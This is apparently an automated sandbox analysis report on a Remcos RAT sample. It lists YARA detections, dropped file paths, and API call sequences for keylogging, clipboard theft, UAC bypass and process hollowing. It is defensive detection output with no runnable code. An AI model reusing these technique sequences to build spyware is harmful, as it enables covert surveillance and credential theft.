Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49749 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1602A2B8 SetWindowsHookExA 0000000D,1602A2A4,00000000

0_2_1602A2B8

Installs a global keyboard hook

Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1602B70E OpenClipboard,GetClipboardData,CloseClipboard,

0_2_1602B70E

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_160368C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_160368C1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1602B70E OpenClipboard,GetClipboardData,CloseClipboard,

0_2_1602B70E

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1602A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

0_2_1602A3E0

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe PID: 1612, type: MEMORYSTR

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.3002735262.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3012377467.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2953713340.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3223217832.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3306200253.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4089720835.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4059114885.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3405385976.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3021986254.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2586692141.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2665633974.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2593724777.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3012377467.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4179192099.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4150487956.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3479934068.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2665633974.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2699820103.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2976227634.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.0000000000833000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3188199822.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4093967085.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2508288522.0000000000887000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2269065709.0000000000677000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449917599.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3302857825.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3035450983.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3114331731.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2976227634.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2464044779.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3104851524.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3856623990.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2924688106.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3161654820.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2907189978.0000000000836000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2953713340.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3756339158.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2468471495.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2953713340.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2505658675.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4076981656.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3398152282.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3856623990.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3108448278.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4089190210.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4164933098.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3282868515.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3026491234.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2500770364.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2990087085.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2966180059.00000000008B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3556121337.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4196544203.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2897470253.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3502452984.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2897470253.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3409189142.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3208675091.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2666381721.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3056499496.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4190137392.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4160542671.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2542929865.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3856623990.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3143777432.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2578962565.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3214746265.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3302857825.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2699820103.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4081174679.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4160542671.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3195851585.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3184396476.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2681130552.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4160542671.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3180921443.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3226849372.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2851259856.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4174702696.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4128240945.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4112862781.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3035450983.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2134604580.0000000000902000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3051742899.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3097371106.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4155612708.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4193342497.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3133149930.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2590415900.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2970099930.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4186922519.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4108402859.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2503434982.0000000000885000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2534967306.000000000058C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2473564906.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2571716341.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2986429967.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2624186369.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449917599.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3126775028.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3147479864.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3891529229.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2990087085.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2924688106.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4182981768.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449917599.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3177194621.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4206966787.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3166598662.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2575632661.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3118446136.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3129933999.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3048020259.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3211964788.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3556121337.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2597324711.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3072775646.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3202677250.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4203802144.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3199136565.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2855238771.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2998039097.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4150586108.0000000000832000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4104689962.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4149829264.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3953749266.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4190364611.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3903387699.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2513853407.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2483626145.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2993705504.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2500770364.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3282868515.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3170185059.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2434407266.0000000015D10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4108651921.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2500770364.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4139785485.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2417235143.0000000000936000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3282868515.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2665633974.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2966180059.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2509275795.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4149829264.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2571716341.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4155304442.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe PID: 1612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 7148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Tuscpznj.PIF PID: 2544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 4080, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 3184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Tuscpznj.PIF PID: 3708, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 3740, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1603C9E2 SystemParametersInfoW,	0_2_1603C9E2
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1576C9E2 SystemParametersInfoW,	6_2_1576C9E2
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15ECC9E2 SystemParametersInfoW,	7_2_15ECC9E2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000007.00000002.2434683424.0000000015F1B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000006.00000002.2280916321.00000000157BB000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000A.00000002.2571697457.000000001566B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000008.00000002.2521921052.0000000015E9B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe PID: 1612, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: Tuscpznj.PIF PID: 2544, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: adode.exe PID: 4080, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: adode.exe PID: 3184, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: Tuscpznj.PIF PID: 3708, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_160332D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile,CloseHandle,CloseHandle,CloseHandle,	0_2_160332D2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1603BB09 OpenProcess,NtSuspendProcess,CloseHandle,	0_2_1603BB09
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1603BB35 OpenProcess,NtResumeProcess,CloseHandle,	0_2_1603BB35
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F7C3F8 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_03F7C3F8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F7C4DC RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_03F7C4DC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F77968 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	0_2_03F77968
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F7C3F6 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_03F7C3F6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F7C368 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_03F7C368
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F77AC0 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,	0_2_03F77AC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F77966 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	0_2_03F77966
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F77F46 CreateProcessAsUserW,GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,NtResumeThread,	0_2_03F77F46
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F77F48 CreateProcessAsUserW,GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,NtResumeThread,	0_2_03F77F48
